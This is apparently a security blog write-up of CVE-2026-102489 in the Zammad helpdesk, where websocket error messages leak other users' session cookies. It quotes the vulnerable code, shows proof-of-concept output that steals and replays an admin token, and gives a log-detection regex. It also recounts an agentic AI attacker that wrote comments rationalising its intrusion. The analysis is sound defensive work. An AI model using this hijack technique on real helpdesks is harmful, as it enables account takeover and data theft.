HB Updated Oct 07, 2026

The Cookie in the Error Message: CVE-2026-102489 - Zammad Session Hijack to RCE

Shattered helpdesk terminal screen with crimson light bleeding from the cracks, in a dark server room (AI-generated illustration)

On September 21, 2026, somebody broke into the Dutch Institute for Vulnerability Disclosure (DIVD) - the volunteer organization that spends its days finding and reporting exactly this kind of thing - and when their incident responders pulled the thread, the initial access turned out to be a zero-day in their own helpdesk software. On September 30, that flaw became CVE-2026-102489, and today it sits in CISA’s Known Exploited Vulnerabilities catalog with an exploitation flag that reads active. NVD scores it 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-384). It affects Zammad 6.3.x through 6.5.x, the open-source helpdesk and ticketing system, and DIVD’s case file describes the full outcome bluntly: session hijacking, remote code execution as the zammad user, and - chained with a second zero-day, CVE-2026-102490 - privilege escalation to root.

The mechanism is what made me spend a weekend on it, because it is a beautifully ugly reminder of a class of bug we keep re-learning: the error message was the vulnerability. Zammad’s websocket server keeps a registry of every connected client, including their HTTP handshake headers - cookies and all. Every inbound event is dispatched with that entire registry in its parameter bag. When an event handler trips an exception, the dispatcher logs the exception and politely returns the error message to the client who sent the event. On Ruby 3.2, the runtime Zammad 6.x ships with, a NoMethodError embeds the full inspect of the object the missing method was called on. Put those three facts together and an unauthenticated attacker who can trigger a single crashing event receives, in the JSON error response, the rendered contents of the client registry: every connected user’s _zammad_session cookie. No memory corruption, no crypto, no parser tricks - just an exception message doing what exception messages do, with the wrong audience listening.

There is a third act that makes the story unusual even by this genre’s standards: DIVD assessed the attack as agentic AI powered - an automated operator deciding each next step itself, at speed, on sloppy logic, and helpfully writing comments into its own scripts justifying why what it was doing was “okay and really not phishing”. Those overexplaining comments, DIVD noted, made the reverse engineering a lot easier. The attacker’s opsec failed in the most 2026 way imaginable: the agent talked too much.

This article walks the vulnerability end to end: the DIVD breach narrative from the primary sources, the exact code paths in Zammad 6.5.3 that produce the leak (including the one-line change in 7.2.0 that hardens it), the Ruby runtime behavior that decides whether the flaw is exploitable at all - reproduced here on both sides, with the session tokens landing in the error response on Ruby 3.2.8 and not on 3.4 - and a working miniature of the vulnerable pipeline you can run yourself. As always with our write-ups, everything below was verified against the primary advisories and the actual source; the parts that are reconstruction rather than disclosed fact are labeled as such.

Attack flow: from an unauthenticated websocket event to root


Vulnerability Classification

Field Value
CVE CVE-2026-102489
CVSS 3.1 (NVD, Primary) 9.8 - Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVSS 4.0 (DIVD, Secondary) 8.7 High (general scenario) / 9.4 Critical (chained with CVE-2026-102490)
CWE CWE-384 - Session Fixation
CNA DIVD CSIRT (csirt@divd.nl)
Affected Component Websocket session pipeline: lib/websocket_server.rb, lib/sessions/event.rb, lib/sessions/event/login.rb
Affected Versions 6.3.0 up to 6.5.x (exploitable); 7.0.0-7.1.3 carry the same code but are not exploitable due to the runtime environment; before 6.3.0 unknown
Fixed Version No fix for 6.x (out of support). Hardening change shipped in 7.2.0; 7.0+ not affected in practice
Impact Unauthenticated session hijacking of any connected user (incl. admins), leading to remote code execution as the zammad user; chains with CVE-2026-102490 (local privilege escalation to root, packager.io-related)
KEV Added to the CISA catalog on 2026-10-02, required action due 2026-10-05; SSVC: exploitation: active, automatable: yes, technical impact: total
CVE Published September 30, 2026 (NVD); DIVD case file September 29, 2026
Credited Finders Earth Grob, Luke Paris, Tijmen van der Spijk, Zohar Cochavi, Alje Woltjer (Merlon Security); Mischa Rick van Geelen, Ralph Horn, Max van der Horst (DIVD); analysts Victor Pasman, Frank Breedijk

The scoring disagreement is worth a sentence: NVD’s 3.1 vector treats the flaw as needing no user interaction, while DIVD’s own 4.0 scoring marks UI:P (passive) - a victim does have to be connected to the websocket for their cookie to be worth stealing. The truth is somewhere in between and depends on deployment: helpdesks keep agents connected all day, so in practice the “user interaction” costs the attacker nothing but patience.


Background: A Helpdesk, a Breach, and an AI Attacker

Zammad is a mature open-source helpdesk (AGPL-3.0, Ruby on Rails, on GitHub since 2012) used for ticketing, chat, email and knowledge-base workflows - the kind of self-hosted system that ends up holding an organization’s entire inbound support correspondence, customer PII, and internal group structure. It is exactly the sort of software a volunteer security institute runs for its own notification workflows, which is how it ended up at the center of this story: DIVD ran Zammad, DIVD got hacked through Zammad, and DIVD’s own incident response - assisted by Merlon Security - produced both CVEs.

The public record, from DIVD’s case file for DIVD-2026-00014 and their day-by-day statements, reads like a transparency exercise in real time:

Date Event
Sep 21, 2026 First access by the malicious actor on DIVD systems
Sep 22 DIVD notices suspicious activity, blocks all datacenter access, forms an IR team with Merlon Security
Sep 24 First public statement: “the modus operandi indicates that this is an agentic AI powered attack”; vulnerability reported to Zammad; regulator (AP), NCSC-NL and police informed
Sep 26 DIVD shares redacted log screenshots: the attacker’s scripts contain notes where the agent “justifies its own actions, explaining why what it’s doing is okay and really not phishing, something a human attacker wouldn’t bother with”
Sep 29 Case file published; assessment: “the attack was loud and very messy, with the agent working automated and deciding each next step itself at speed on sloppy logic and its overexplaining comments have made our reverse engineering a lot easier”
Sep 30 Statement #4 names the entry vector: “two zero-days in Zammad that together allowed session hijacking, remote code execution and privilege escalation from the Zammad user to root, in seconds due to the agentic part of this hack”; CVE-2026-102489 and CVE-2026-102490 assigned; NVD publishes
Oct 1 Data-impact overview: volunteer data (email addresses, possibly contact details) exfiltrated
Oct 2 Both CVEs added to CISA KEV
Oct 5 Zammad’s advisory: first report received in August 2026; exploitation only possible on 6.5 and older; hardening included in 7.2.0

Two details deserve emphasis before the technical dive. First, network segmentation and fast detection are what stopped the attackers from going deeper - the old boring fundamentals, credited plainly by DIVD themselves. Second, Zammad’s advisory states they had already received and analyzed a report about this issue in August 2026, a month before the DIVD breach, and concluded it was only exploitable on the 6.x runtime environment - versions that had been out of support and no longer receiving security updates. That fact shapes the whole “who fixed what, when” discussion later in this article.


The Websocket Session Pipeline

Zammad’s browser client keeps a live connection to a dedicated websocket server (its own process, script/websocket-server.rb in the package, implemented in lib/websocket_server.rb). The Rails web UI, the long-polling fallback (app/controllers/long_polling_controller.rb) and this websocket server all converge on the same event system, Sessions::Event, which implements the application’s realtime vocabulary: login, ping, chat events, ticket overview updates, session takeover, and so on.

When a client connects, the server registers it in a class-level hash:

# lib/websocket_server.rb (Zammad 6.5.3), onopen
def self.onopen(websocket, handshake)
  headers = handshake.headers
  client_id = websocket.object_id.to_s
  ...
  @clients[client_id] = {
    websocket:   websocket,
    last_ping:   Time.now.utc.to_i,
    error_count: 0,
    headers:     headers,       # <- the whole HTTP handshake header set
  }
end

That headers field is the load-bearing wall of this vulnerability. A websocket handshake is an HTTP request, and the browser sends the session cookie with it - on a stock install the cookie is named _zammad_session_<hash> (suffixed with a per-installation digest of the Rails root, lib/zammad/application/initializer/session_store.rb:12). So from the moment an authenticated agent opens the helpdesk tab, @clients contains, for every connected user, their live session token:

@clients = {
  "60420" => { websocket: ..., last_ping: ..., error_count: 0,
               headers: { "Cookie" => "_zammad_session_a1b2c3d4e5=<token>",
                          "Origin" => "https://helpdesk.example.com", ... } },
  "60444" => { ... },      # the next agent
  ...
}

When a message arrives, the server parses it and hands it to the event system. Here is the dispatch, verbatim from 6.5.3, with my annotation on the critical keyword:

# lib/websocket_server.rb (Zammad 6.5.3), onmessage
message = Sessions::Event.run(
  event:     data['event'],
  payload:   data,
  session:   @clients[client_id][:session],
  headers:   @clients[client_id][:headers],
  client_id: client_id,
  clients:   @clients,      # <- EVERY client's headers, into EVERY event
  options:   @options,
)
if message
  websocket_send(client_id, message)   # <- the reply goes to the sender
end

The event’s own headers are passed (fine, that is the sender’s own data), but so is the entire registry of all connected clients. Event classes receive it as @clients - Sessions::Event::Base#initialize blindly converts every param into an instance variable. The long-polling twin passes clients: {}, an empty hash; only the websocket server injects the real registry.

Now the dispatcher, which is where a bug becomes a leak:

# lib/sessions/event.rb (Zammad 6.5.3)
class Sessions::Event
  def self.run(params)
    begin
      backend = "Sessions::Event::#{params[:event].to_classname}".constantize
    rescue => e
      Rails.logger.error e.inspect
      return { event: 'error',
               data: { error: "No such event #{params[:event]}: #{e.inspect}", payload: params[:payload] } }
    end

    begin
      instance = backend.new(params)
      result = instance.run
      instance.destroy
      result
    rescue => e
      Rails.logger.error e.inspect        # (1) into production.log
      { event: 'error', data: { error: e.message, payload: params[:payload] } }  # (2) back to the SENDER
    end
  end
end

Read those two rescue arms carefully, because they are the whole vulnerability in miniature. Any exception raised while handling an attacker-supplied event is (1) written to the log with e.inspect and (2) returned to the attacker as the error field of the response event. An error-reporting pattern like this is common and mostly harmless - as long as exception messages only ever describe the attacker’s own input.

Which brings us to Ruby.


The Bug: One Registry, One Exception, Two Audiences

Here is the behavior that decides whether this design is a nuisance or a 9.8. In Ruby 3.2 - and .ruby-version in Zammad 6.5.3 pins 3.2.8, with 6.3.0 pinning 3.2.3 - a NoMethodError embeds the receiver’s full inspect into the message. Starting with Ruby 3.3, the message says only “an instance of Hash” for hash receivers, precisely to stop sensitive objects from leaking through error text. Zammad 7.1.3 and 7.2.0 pin Ruby 3.4.9.

That is not a judgment call; it is directly observable. I ran the identical statement on the exact 3.2.8 Zammad 6.5.3 pins, and on 3.4.6 (the 7.x line pins 3.4.9; the rendering behavior is the same across 3.3+):

$ ruby-3.2.8 ruby_behavior_probe.rb        # Zammad 6.5.3 runtime
ruby 3.2.8
e.message (returned to the ATTACKER): undefined method `foo' for {"60420"=>{:websocket=>"EM::WebSocket#60420", :headers=>{"Cookie"=>"_zammad_session_a1b2c3d4e5=7f3a9c1e8b2d4f60a5c8e1b9d3f7a2c4"}}}:Hash
=> session material embedded: LEAK

$ ruby-3.4.6 ruby_behavior_probe.rb        # Zammad 7.x runtime family
ruby 3.4.6
e.message (returned to the ATTACKER): undefined method 'foo' for an instance of Hash
=> no session material: safe

Put the pieces side by side:

  1. every websocket event runs with clients: @clients in scope;
  2. any handler line that calls a missing method with the registry - or any client’s headers hash - as the receiver raises a NoMethodError whose message, on Ruby 3.2, contains the rendered registry;
  3. that message is delivered to whoever sent the event, no authentication required, and its e.inspect twin lands in production.log.

The session tokens of every connected agent travel in both directions: to the attacker’s socket and to the log file. This is exactly what DIVD’s published indicators of compromise look for. Their IoC check script for this CVE greps Zammad log files for:

ERROR -- :.*("Cookie"=>"|@clients=\{)
  • session material (a rendered "Cookie" => header) or the registry itself (@clients={) appearing inside ERROR lines of production.log, railsserver.log, websocket.log, scheduler.log and nginx logs. Those two regex fragments are a perfect fingerprint of this mechanism: a "Cookie"=>" hash entry only materializes in Ruby’s hash-inspect rendering, and @clients={ is the registry’s own inspect prefix, which only reaches a log line by riding inside an exception object.

The error path: one exception, two destinations, and what each Ruby runtime puts in the message

Caveat - what is disclosed versus reconstructed. Neither DIVD nor Zammad has published the exact event and line that raises the fatal exception, and I will not guess one into existence. What the public record pins down is the shape: the registry rides in every event’s parameters (source code), the error message rides back to the sender (source code), the runtime renders hash receivers into exception text (verified above), and post-breach logs contained "Cookie"=> and @clients={ material inside ERROR output (DIVD’s IoCs). Any missing-method call on the registry or a headers hash closes that circuit. The trigger could be as banal as a nil-guard missed on one handler line; finding it is exactly the kind of thing an automated agent probing a websocket endpoint at machine speed is good at - no human patience required.

The hijack primitive

Leaking the token is half the chain; the other half is what a stolen _zammad_session id buys, and here the websocket login event is disarmingly direct:

# lib/sessions/event/login.rb (Zammad 6.5.3), run
if @payload && @payload['session_id']
  private_session_id = Rack::Session::SessionId.new(@payload['session_id']).private_id
  session = ActiveRecord::SessionStore::Session.find_by(session_id: private_session_id)
end

new_session_data = {}
if session&.data && session.data['user_id']
  new_session_data = { 'id' => session.data['user_id'] }
end

if @clients[@client_id]
  @clients[@client_id][:session] = new_session_data   # <- the connection BECOMES that user
  ...

Supply a valid session id, and the websocket connection - and everything the event system lets that connection do - is bound to the user owning that session. The session id is the only credential consulted, it is not re-verified against anything else, and this is why the CWE assignment is CWE-384 (Session Fixation) in its broadest sense: knowledge of the session identifier is functionally equivalent to being logged in. An attacker holding an admin’s session id does not need the admin’s password, second factor, or anything else the login page would have demanded.


Proof of Concept

https://github.com/Hunt-Benito/the-cookie-in-the-error-message-cve-2026-102489-zammad-session-hijack-to-rce

The repository contains a faithful miniature of the vulnerable pipeline rather than a weapon: the websocket protocol is replaced by newline-delimited JSON over TCP (the bug lives in the error handling, not the framing), the session store is a two-entry hash, and the crashing event is a clearly-marked stand-in (trigger) because the real one was never disclosed. The dispatch semantics, however, are lifted verbatim from Zammad 6.5.3: the registry passed to every event, and the two-destination rescue arm - e.inspect to the log, e.message to the sender.

Four files do the work:

File Role
minibox_server.rb The miniature: client registry with handshake headers, verbatim rescue semantics, login event adapted from lib/sessions/event/login.rb
minibox_attack.rb Drives the scenario: victim connects with a cookie, unauthenticated attacker triggers the error, harvests the token, hijacks the session
ruby_behavior_probe.rb The isolated Ruby 3.2 vs 3.3+ behavior test shown above
ioc_check_test.sh Feeds a synthetic log line to DIVD’s official IoC script and watches it flag

Running it on Ruby 3.2 (Zammad 6.x’s runtime; any 3.2 patch level behaves the same):

$ ruby minibox_server.rb                 # terminal 1
minibox listening on 127.0.0.1:60402 (ruby 3.2.8)
log file: .../minibox.log

$ ruby minibox_attack.rb                 # terminal 2
[*] attacker sends the error-triggering event (no credentials used)
[*] error event received, 275 bytes of message
[+] LEAK: victim session token recovered from the error message:
    7f3a9c1e8b2d4f60a5c8e1b9d3f7a2c4
[+] attacker sends {"event":"login","session_id":"7f3a9c1e8b2d4f60a5c8e1b9d3f7a2c4"}
[+] server response: {"event":"login_ok","data":{"bound_user":"admin@example.com"}}
[+] SESSION HIJACKED - attacker connection is now bound to:
    admin@example.com

This is real output, unedited apart from path truncation. The raw error event that carries the leak - what the attacker’s socket actually receives - is worth seeing in full, because it is the article’s thesis in one JSON object:

{
  "event": "error",
  "data": {
    "error": "undefined method `foo' for {\"c40\"=>{:last_ping=>1791365707, :headers=>{\"Cookie\"=>\"_zammad_session_a1b2c3d4e5=7f3a9c1e8b2d4f60a5c8e1b9d3f7a2c4\"}}, \"c60\"=>{:last_ping=>1791365707, :headers=>{\"User-Agent\"=>\"agentic-operator/1.0\"}}}:Hash",
    "payload": { "event": "trigger" }
  }
}

One field is the attacker’s own payload echoed back; the other is everybody else’s cookies. The same exception’s e.inspect twin lands in minibox.log in exactly the shape DIVD’s IoC script greps for:

2026-10-07T09:34:31.911098 ERROR -- : #<NoMethodError: undefined method `foo' for {"c40"=>{:last_ping=>1791365671, :headers=>{"Cookie"=>"_zammad_session_a1b2c3d4e5=7f3a9c1e8b2d4f60a5c8e1b9d3f7a2c4", "Origin"=>"https://helpdesk.example.com"}}, "c60"=>{:last_ping=>1791365671, :headers=>{"User-Agent"=>"agentic-operator/1.0"}}}:Hash>

And running the identical miniature on Ruby 3.4 (the 7.x runtime family) demonstrates the environment condition live - same code, same crash, no leak:

$ ruby minibox_attack.rb 127.0.0.1 60402
[*] attacker sends the error-triggering event (no credentials used)
[*] error event received, 46 bytes of message
[-] no session material in the error message (ruby 3.4.6
    suppresses the receiver inspect - the 7.x runtime behavior).

For defenders, the repo also wraps DIVD’s official check. One practical note from testing it: the published script carries CRLF line endings, which strict POSIX shells reject (set: Illegal option); strip them first. The harness does that and demonstrates the detection:

$ sh ioc_check_test.sh
Feeding one synthetic line to the DIVD IoC check (expect INDICATORS FOUND):

ioc_check.sh -- Zammad IOC check
logs scanned : 1 file(s)
...
######################################################################
#   INDICATORS FOUND -- SESSION MATERIAL IN ERROR OUTPUT             #
#   Investigate further.                                             #
######################################################################
  1 matching line(s):
        1:2026-09-21T03:14:07.000000 ERROR -- : #<NoMethodError: undefined method `foo' for {"60420"=>{:headers=>{"Cookie"=>"_zammad_session_TESTTOKENNOTREAL"}}}:Hash>
  distinct cookies exposed:
        "Cookie"=>"_zammad_session_TESTTOKENNOTREAL"

Attention! The miniature is for understanding and defense. The vulnerability is under active exploitation; do not point weaponized versions of this at systems you do not own. If you operate a Zammad 6.x instance, the interesting output is the one from ioc_check.sh against your real logs.


Completing the Chain: RCE and Root

Everything above is the session-hijack half of CVE-2026-102489. DIVD’s statement describes the full outcome as “session hijacking, remote code execution and privilege escalation from the Zammad user to root, in seconds due to the agentic part of this hack”. How does a hijacked admin session become code execution as the zammad user?

This step is not publicly disclosed, and I will keep it that way in confidence with the disclosure. What can be said from public sources: an admin session on this product line has repeatedly proven to be one configuration screen away from code execution. Zammad’s own advisory history includes, among others, a server-side template injection leading to RCE via AI Agent (CVE-2026-34724, fixed in 7.0.1), an AI Agent template sanitizer bypass leading to RCE (CVE-2026-84462, fixed in 7.1.2), and an RCE via template sanitizer bypass in automation configuration (GHSA-gvvq-mfj3-g56x, fixed in 7.2.1, affecting everything up to and including 7.2.0). None of these is claimed to be the vector used against DIVD - they simply demonstrate that admin-reachable RCE has existed in this lineage more than once, which is consistent with (and explains) how quickly a hijacked session converts to code execution on an unpatched 6.x instance.

The second CVE is cleaner to document because its outline is public:

  • CVE-2026-102490 (KEV, CWE-269) lets the local zammad user escalate to root. Per Zammad’s advisory, it “is related to a confirmed vulnerability in packager.io” - the Debian-package build/hosting service Zammad’s packages are distributed through - affects nearly every Zammad version ever released (DIVD’s case file scopes it v1.5.0 through 7.1.0-alpha), and was being analyzed as a high-priority item after Zammad received the technical details from DIVD.

Chain the two and the arithmetic is grim: one unauthenticated websocket error message yields an admin session; the admin session yields code execution as zammad; the packager.io-related flaw turns zammad into root. From the perimeter to uid 0 of the helpdesk host without a single password. The mitigating factors in the real breach were unglamorous: network segmentation slowed lateral movement, and detection - of a loud and messy attacker - cut the operation short.


The Fix and the Runtime That Wasn’t

Zammad’s handling of this has two layers worth separating.

The hardening change. In 7.2.0, the websocket server stops handing the whole registry to event handlers. The diff against 7.1.3 is one line:

-        clients:   @clients,
+        client:    @clients[client_id],

The event context now contains the current client’s entry instead of every client’s entry. Even if an exception still renders a receiver’s inspect, there is no longer a data structure in scope whose rendering contains other users’ credentials. This is the structurally correct fix: it removes the sensitive data from the error path’s blast radius instead of trying to sanitize error messages after the fact. The miniature in the PoC repo shows the vulnerable side of that trade: with the registry in scope, the identical crash renders everyone’s cookies; with only one client in scope, the same exception would have nothing worth stealing to render.

The runtime story. Zammad’s advisory states that exploitation “is only possible on Zammad 6.5 and earlier versions due to the runtime environment used by these versions” - the same code path exists in 7.0.0 through 7.1.3, but on Ruby 3.4 the exception message never carries the registry. The probe above shows this directly. That is an uncomfortable kind of safety: the difference between “exploitable” and “not” was a language-runtime behavior change the application did not control, on a code path that was still passing every user’s cookies into every event. Defense by interpreter version is real defense, but it is not designed defense - which is presumably why Zammad still shipped the one-line fix.

The support story. Zammad 6.5 and older are out of support and do not receive security updates, so there is no patched 6.x release and there will not be one. Their recommendation is direct: upgrade to the current release (7.2.0 or later), and restrict access to the underlying server to trusted administrators. DIVD’s recommendation for internet-facing 6.x instances is blunter: upgrade or take it offline, then check the logs.


Detection and Remediation Checklist

  1. Inventory first. Zammad 6.3.x-6.5.x with a reachable websocket endpoint is the vulnerable profile; 7.0-7.1.3 carry the code but not the exploitability. Check Version in the admin UI or the package version on the host.
  2. Upgrade to Zammad 7.2.0 or later. There is no fixed 6.x. Treat internet-facing 6.x as compromised-by-default: KEV listing plus out-of-support means nobody is coming to patch it for you.
  3. Hunt the IoCs. Run DIVD’s check script (v2 at the time of writing) against /var/log/zammad, /var/log/nginx and rotated variants. It looks for "Cookie"=> or @clients={ inside ERROR lines. Strip CRLF endings if your shell complains. Any hit means session material transited your logs - investigate which sessions and rotate.
  4. Rotate sessions and credentials. If indicators are present, treat every session that was live in the window as exposed: force re-authentication, and rotate credentials and API tokens that an admin session could have read. Remember the leak also wrote to log files - so log access is part of the blast radius, and logs may need retention-scoped review, not just the live system.
  5. Chase the chain. Because RCE-as-zammad plus CVE-2026-102490 means root is plausibly one step away, do not stop at the application layer: look for unfamiliar processes and files, as DIVD’s script header itself advises, and for subsequent access to other services on the same segment.
  6. Segment. The saved-the-day control in the real incident was segmentation plus detection. A helpdesk that hosts customer PII does not need to share a flat network with everything else.

Attack / Disclosure Timeline

Date Event
August 2026 Zammad receives an earlier report about the issue and analyzes it; conclusion: exploitable only on the 6.x runtime (Zammad advisory, Oct 5)
Sep 21, 2026 Malicious actor gains first access to DIVD systems via the two Zammad zero-days
Sep 22 DIVD detects activity, isolates the datacenter, starts forensics with Merlon Security
Sep 24 Vulnerabilities reported to Zammad; first public breach statement; AP, NCSC-NL, police informed
Sep 26 DIVD scans for exposed vulnerable instances, issues limited disclosure, begins notifying owners
Sep 29 DIVD case file published; CVE page dated Sep 29, 20:00 UTC
Sep 30 NVD publishes CVE-2026-102489 (9.8); DIVD statement names the two zero-days
Oct 2 Both CVEs added to CISA KEV; action due Oct 5; SSVC marks exploitation active
Oct 5 Zammad publishes its advisory; confirms 7.2.0 hardening; confirms CVE-2026-102490 relates to packager.io and is being worked as high priority

The disclosure process itself generated friction worth noting: Zammad’s community statement pointed out that public scanning and disclosure followed the September 24 report by roughly 48 hours, and that CVE-2026-102490’s details reached them only after publication - concerns a CVD process should weigh when the reporting party is simultaneously the breached party, the CNA, and the notification campaign.


The Bigger Lesson

Three things generalize beyond this one helpdesk.

Error channels are data channels. Every place an application reports an exception to a less-trusted audience - an API body, a websocket reply, a rendered 500 page, a log file with broad read access - is a place where internal object state can surface. Ruby 3.2’s inspect-in-message behavior was a known quantity; Rails applications that pass request env, connection registries or ORM objects near exception paths inherit exactly this exposure. The mitigations are structural, and Zammad’s one-line fix is the template: reduce what’s in scope of the error, don’t polish the message.

A session id is a bearer credential; treat its transit accordingly. The token’s container changes - heap, log file, exception message - but the credential economics do not, and neither does the remediation: when session material leaks, every live session in the window is burned. We saw the same shape in Citrix Bleed 3, where session tokens came out of a netScaler memory leak. Anything that renders or persists other users’ request state needs to be treated as an extension of the credential store.

Unsupported runtimes are vulnerability surface. The exploitable population here exists precisely because 6.x deployments kept running past support end. And the runtime dependency cuts both ways: the same application was “safe” on 7.x only because Ruby 3.3+ changed error rendering - a property nobody selected for security reasons. When your threat model includes “attacker reads an error message”, pin your defenses in your own code, and check what your language version puts into exception text.

And a note for the defenders among us: DIVD got breached, told the truth about it in near-real time, published their own indicators, and turned their bad week into two CVEs and a notification campaign that shrank everyone else’s attack surface. That is what the good version of this story looks like. The attackers, meanwhile, were undone in part by an automated operator that could not stop explaining itself. Both behaviors are instructive.


Sources

DIVD CSIRT case DIVD-2026-00015 - Vulnerabilities in Zammad: https://csirt.divd.nl/cases/DIVD-2026-00015/

DIVD CSIRT CVE page - CVE-2026-102489: https://csirt.divd.nl/cves/CVE-2026-102489/

DIVD CSIRT case DIVD-2026-00014 - When, not if… (breach case file and statements): https://csirt.divd.nl/cases/DIVD-2026-00014/

DIVD CSIRT blog - It was a matter of when, not if… (September 24, 2026): https://csirt.divd.nl/2026/09/24/when-not-if/

DIVD IoC check script for CVE-2026-102489 (v2): https://csirt.divd.nl/downloads/DIVD-2026-00015/cve-2026-102489_ioc_check_script_v2.sh

NIST National Vulnerability Database - CVE-2026-102489: https://nvd.nist.gov/vuln/detail/CVE-2026-102489

CISA Known Exploited Vulnerabilities Catalog - CVE-2026-102489 / CVE-2026-102490 (added 2026-10-02): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Zammad Security Advisory - CVE-2026-102489 and CVE-2026-102490 (October 5, 2026): https://zammad.com/en/advisories/cve-2026-102489-cve-2026-102490

Zammad community statement on the DIVD case (October 1, 2026): https://community.zammad.org/t/take-care-local-privilege-escalation-cve-2026-102490-is-reported-as-being-actively-exploited/21297

Zammad source, tag 6.5.3 - lib/websocket_server.rb (registry and event dispatch): https://github.com/zammad/zammad/blob/6.5.3/lib/websocket_server.rb

Zammad source, tag 6.5.3 - lib/sessions/event.rb (error handling returned to the sender): https://github.com/zammad/zammad/blob/6.5.3/lib/sessions/event.rb

Zammad source, tag 6.5.3 - lib/sessions/event/login.rb (session binding by session_id): https://github.com/zammad/zammad/blob/6.5.3/lib/sessions/event/login.rb

Zammad source, tag 6.5.3 - lib/zammad/application/initializer/session_store.rb (session cookie naming): https://github.com/zammad/zammad/blob/6.5.3/lib/zammad/application/initializer/session_store.rb

Zammad source, tags 7.1.3 and 7.2.0 - the hardening change (clients: @clients to client: @clients[client_id]): https://github.com/zammad/zammad/blob/7.2.0/lib/websocket_server.rb

MITRE CWE-384 - Session Fixation: https://cwe.mitre.org/data/definitions/384.html

MITRE CWE-269 - Improper Privilege Management: https://cwe.mitre.org/data/definitions/269.html

Zammad GitHub Security Advisory GHSA-gvvq-mfj3-g56x - RCE via template sanitizer bypass in automation configuration (admin-reachable RCE lineage): https://github.com/zammad/zammad/security/advisories/GHSA-gvvq-mfj3-g56x

Hunt-Benito PoC repository: https://github.com/Hunt-Benito/the-cookie-in-the-error-message-cve-2026-102489-zammad-session-hijack-to-rce

Previous Hunt-Benito article - Citrix Bleed 3: CVE-2026-3055 (session tokens leaked via memory disclosure): https://www.hunt-benito.com/blog/citrix-bleed-3-unauthenticated-memory-leak-in-netscaler-cve-2026-3055/

Tags

Account-Takeover Agentic-AI android Android Android-Adb Android-apktool Android-Avd Android-Studio Anti-Bot API-Security Authentication Automotive Backslash-Breakout Baseband Bot-Detection Browser-Automation Browser-Fingerprinting Buffer-Overflow C2 Cache-Key-Collision Camoufox CAN-Bus CAPTCHA Chrome Cloudflare Command-Injection Container-Escape Cross-Site-Scripting Cudy CWE-121 CWE-122 CWE-125 CWE-1333 CWE-23 CWE-288 CWE-290 CWE-347 CWE-384 CWE-706 CWE-798 CWE-862 CWE-89 CWE-926 CWE-94 Data-Scraping Denial-of-Service Diagnostics Elixir Embedded-Systems Exploit FastGPT Firmware Frida Geolocation GooglePlay Hardware Heap-Overflow Hi-Browser html-sanitize-ex HTTP2 Hugging-Face Identity-Confusion Information Security Integer-Overflow IoT JNI JWT Lexer-Differential Linux Linux-Kernel llama-cpp LLaMA-Factory LLM LwM2M Machine-Learning MCP MediaTek Memory Disclosure MindsDB Missing-Authorization mitmproxy Mobile-Security MQTT Network-Analysis Networking OAuth OAuth2 OBD2 OIDC OpenID-Connect Out-of-Bounds Page-Cache Patchright Path-Traversal Penetration Testing pgAdmin PHP phpIPAM Playwright PostgreSQL Privilege-Escalation Prompt-Injection Python Race-Condition RCE ReDoS Reverse Engineering Reverse-Engineering Router Ruby Samsung-Bixby Samsung-Exynos Security Security-Research Session Hijacking Session-Hijacking SiYuan SMS Snapchat SNMP Speech-Recognition SQL-Injection SSD SSL-Pinning STIG-Manager Supply-Chain TECNO Tenda Traefik UC-Browser UDS Vulnerability Web Applications Web Scraping Web-Crawling Web-Scraping Web-Security WebGPU Websocket WeChat Wi-Fi Zammad Zephyr Zero-Day